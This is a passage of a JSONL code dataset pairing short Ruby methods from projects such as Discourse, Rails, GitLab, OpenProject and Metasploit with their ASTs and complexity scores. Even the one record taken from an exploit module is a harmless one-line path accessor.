air\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"edit_reason\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"upload.edit_reason\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"revise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bypass_bump\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_staff_log\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_validations\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]}]}]}","id":"7b500de0-c3f3-4096-b160-cf557321382e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/message_builder.rb","start_line":378,"raw_source":"def escaped_template_arg(key)\n      value = template_args[key].dup\n      # explicitly escaped twice, as Mailers will mark the body as html_safe\n      once_escaped = String.new(ERB::Util.html_escape(value))\n      ERB::Util.html_escape(once_escaped)\n    end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"escaped_template_arg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_args\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"once_escaped\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"lvar\",\"children\":[\"once_escaped\"]}]}]}]}","id":"327d1196-3ef4-4c9d-930f-057ec6e886bb"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/lib/rails2_config_processor.rb","start_line":37,"raw_source":"def process_call exp\n    target = exp.target\n    target = process target if sexp? target\n\n    if exp.method == :gem and exp.first_arg.value == \"erubis\"\n      Brakeman.notify \"[Notice] Using Erubis for ERB templates\"\n      @tracker.config.erubis = true\n    end\n\n    exp\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"target\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sexp?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"method\"]},\"==\",{\"type\":\"sym\",\"children\":[\"gem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"first_arg\"]},\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"erubis\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"notify\",{\"type\":\"str\",\"children\":[\"[Notice] Using Erubis for ERB templates\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracker\"]},\"config\"]},\"erubis=\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"d306f414-3a88-4b79-b7cb-8dd7a2e8059d"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/gtg/simulator.rb","start_line":31,"raw_source":"def memos(string)\n          state = INITIAL_STATE\n\n          pos = 0\n          eos = string.bytesize\n\n          while pos < eos\n            start_index = pos\n            pos += 1\n\n            if (token = STATIC_TOKENS[string.getbyte(start_index)])\n              state = tt.move(state, string, token, start_index, false)\n            else\n              while pos < eos && STATIC_TOKENS[string.getbyte(pos)].nil?\n                pos += 1\n              end\n\n              token = string.byteslice(start_index, pos - start_index)\n              state = tt.move(state, string, token, start_index, true)\n            end\n          end\n\n          acceptance_states = []\n          states_count = state.size\n          i = 0\n          while i < states_count\n            if state[i + 1].nil?\n              s = state[i]\n              if tt.accepting?(s)\n                acceptance_states.concat(tt.memo(s))\n              end\n            end\n            i += 2\n          end\n\n          acceptance_states.empty? ? yield : acceptance_states\n        end","complexity_score":71.38,"ast_json":"{\"type\":\"def\",\"children\":[\"memos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"const\",\"children\":[null,\"INITIAL_STATE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pos\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"eos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"bytesize\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"eos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_index\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATIC_TOKENS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"getbyte\",{\"type\":\"lvar\",\"children\":[\"start_index\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tt\"]},\"move\",{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"string\"]},{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"start_index\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"eos\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STATIC_TOKENS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"getbyte\",{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]},\"nil?\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"byteslice\",{\"type\":\"lvar\",\"children\":[\"start_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_index\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tt\"]},\"move\",{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"string\"]},{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"start_index\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"acceptance_states\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"states_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"states_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tt\"]},\"accepting?\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acceptance_states\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tt\"]},\"memo\",{\"type\":\"lvar\",\"children\":[\"s\"]}]}]},null]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"acceptance_states\"]},\"empty?\"]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"acceptance_states\"]}]}]}]}","id":"0b593c50-4a0a-453e-a277-5215be54f40b"}
{"repo_name":"spree","file_path":"./repos/spree/admin/lib/generators/spree/admin/install/install_generator.rb","start_line":9,"raw_source":"def self.source_paths\n          [\n            File.expand_path('templates', __dir__),\n            File.expand_path('../templates', \"../#{__FILE__}\"),\n            File.expand_path('../templates', \"../../#{__FILE__}\")\n          ]\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"templates\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../templates\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../templates\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]}]}]}","id":"24448595-3588-4613-9fe9-557ef692b127"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":1064,"raw_source":"def gitaly_repository_client\n        @gitaly_repository_client ||= Gitlab::GitalyClient::RepositoryService.new(self)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"gitaly_repository_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@gitaly_repository_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitalyClient\"]},\"RepositoryService\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"323df683-edbe-4405-9aaa-fe5ac9352dad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/releases/base_service.rb","start_line":48,"raw_source":"def repository\n      strong_memoize(:repository) do\n        project.repository\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"repository\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]}]}]}","id":"ffaed5be-bd50-4662-8881-28e0b623f6ce"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/project_phases/item_component.rb","start_line":55,"raw_source":"def authorized_edit_link\n        if allowed_to_edit?\n          Primer::Beta::Link.new(\n            href: edit_project_phase_path(model),\n            classes: \"hover-input\",\n            data: { controller: \"async-dialog\" },\n            aria: { label: I18n.t(:label_edit) },\n            test_selector: \"project-life-cycle-edit-button-#{model.id}\"\n          )\n        else\n          Primer::Content.new\n        end\n      end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_edit_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_to_edit?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Link\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"edit_project_phase_path\",{\"type\":\"send\",\"children\":[null,\"model\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"classes\"]},{\"type\":\"str\",\"children\":[\"hover-input\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"async-dialog\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_edit\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test_selector\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"project-life-cycle-edit-button-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Content\"]},\"new\"]}]}]}","id":"189e7bfd-b589-4143-9ab3-c1e8be694f07"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/scm/remote_repository_job.rb","start_line":83,"raw_source":"def repository_request\n    project = repository.project\n\n    {\n      token: repository.scm.config[:access_token],\n      identifier: repository.repository_identifier,\n      vendor: repository.vendor,\n      scm_type: repository.scm_type,\n      project: {\n        id: project.id,\n        name: project.name,\n        identifier: project.identifier\n      }\n    }\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"project\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"scm\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"access_token\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"repository_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vendor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"vendor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scm_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"scm_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"identifier\"]}]}]}]}]}]}]}","id":"3fa31f49-6ca1-42c0-8c5d-5f6ca6f1f581"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/storefront_locale_helper.rb","start_line":6,"raw_source":"def current_locale\n      @current_locale ||= if user_locale?\n                            try_spree_current_user.selected_locale\n                          elsif params_locale?\n                            params[:locale]\n                          elsif header_locale?\n                            header_locale\n                          end\n    ensure\n      @current_locale ||= default_locale\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"current_locale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_locale\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_locale?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_spree_current_user\"]},\"selected_locale\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params_locale?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"header_locale?\"]},{\"type\":\"send\",\"children\":[null,\"header_locale\"]},null]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_locale\"]},{\"type\":\"send\",\"children\":[null,\"default_locale\"]}]}]}]}","id":"b73dd801-14a1-4348-b05e-ef58919a763e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups/user_groups_finder.rb","start_line":59,"raw_source":"def permission_scope_transfer_projects?\n      params[:permission_scope] == :transfer_projects\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"permission_scope_transfer_projects?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permission_scope\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"transfer_projects\"]}]}]}","id":"f336529b-9f9d-4bf9-b772-d08376f1d7a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/callbacks/award_emoji.rb","start_line":29,"raw_source":"def invalid_action_error(key)\n        format(_(\"%{key} is not a valid action.\"), key: key)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalid_action_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{key} is not a valid action.\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"a163db65-010d-451f-b5d5-db00e22c98ff"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/contracts/meetings/update_contract.rb","start_line":61,"raw_source":"def check_before(time)\n      # Avoid adding more errors if we already checked closer candidates\n      return if errors.has_key?(:start_date)\n\n      if time && model.start_time >= time\n        errors.add :start_date, :before, date: format_time(time)\n      end\n    end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_before\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"start_date\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"start_time\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"send\",\"children\":[null,\"format_time\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]}]},null]}]}]}","id":"8f0b5ec8-36c3-429f-9744-8c7b0db10597"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/schema_migrations/migrations.rb","start_line":51,"raw_source":"def version_filenames\n          @version_filenames ||= Dir.glob(MIGRATION_VERSION_GLOB, base: schema_directory)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_filenames\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version_filenames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"glob\",{\"type\":\"const\",\"children\":[null,\"MIGRATION_VERSION_GLOB\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"schema_directory\"]}]}]}]}]}]}","id":"0e6743af-6a76-4c25-b61c-f1077224ee63"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/metrics_local.rb","start_line":75,"raw_source":"def sub_gauge(value)\n        @monitor.synchronize do\n          @store -= value\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sub_gauge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@monitor\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@store\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"626a49b0-2e5d-4527-b9dc-1bc79a84943d"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/config/test_literal_parser.rb","start_line":10,"raw_source":"def parse_text(text)\n      basepath = File.expand_path(File.dirname(__FILE__)+'/../../')\n      ss = StringScanner.new(text)\n      parser = Fluent::Config::V1Parser.new(ss, basepath, \"(test)\", eval_context)\n      parser.parse_literal\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"basepath\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/../../\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ss\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringScanner\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Config\"]},\"V1Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ss\"]},{\"type\":\"lvar\",\"children\":[\"basepath\"]},{\"type\":\"str\",\"children\":[\"(test)\"]},{\"type\":\"send\",\"children\":[null,\"eval_context\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse_literal\"]}]}]}","id":"bf57ce9a-e25d-4316-af1c-a0a6d22cba11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/playsms_template_injection.rb","start_line":64,"raw_source":"def uri\n    return target_uri.path\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uri\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}","id":"b14b6fbe-90bf-496e-bc95-7a1433fbfb26"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/spec/support/pages/ifc_models/index.rb","start_line":51,"raw_source":"def add_model_allowed(allowed)\n        if allowed\n          click_toolbar_button \"ifc-create-button\"\n\n          expect_correct_page_loaded '.button[type=\"submit\"]'\n          expect(page).to have_current_path new_bcf_project_ifc_model_path(project)\n\n          visit!\n        else\n          expect(page).to have_no_css(\".button.-primary\", text: \"IFC model\")\n        end\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_model_allowed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"allowed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_toolbar_button\",{\"type\":\"str\",\"children\":[\"ifc-create-button\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_correct_page_loaded\",{\"type\":\"str\",\"children\":[\".button[type=\\\"submit\\\"]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_current_path\",{\"type\":\"send\",\"children\":[null,\"new_bcf_project_ifc_model_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"visit!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".button.-primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"IFC model\"]}]}]}]}]}]}]}","id":"47046a2b-b0ba-4fda-8c46-3e6108683ea6"}
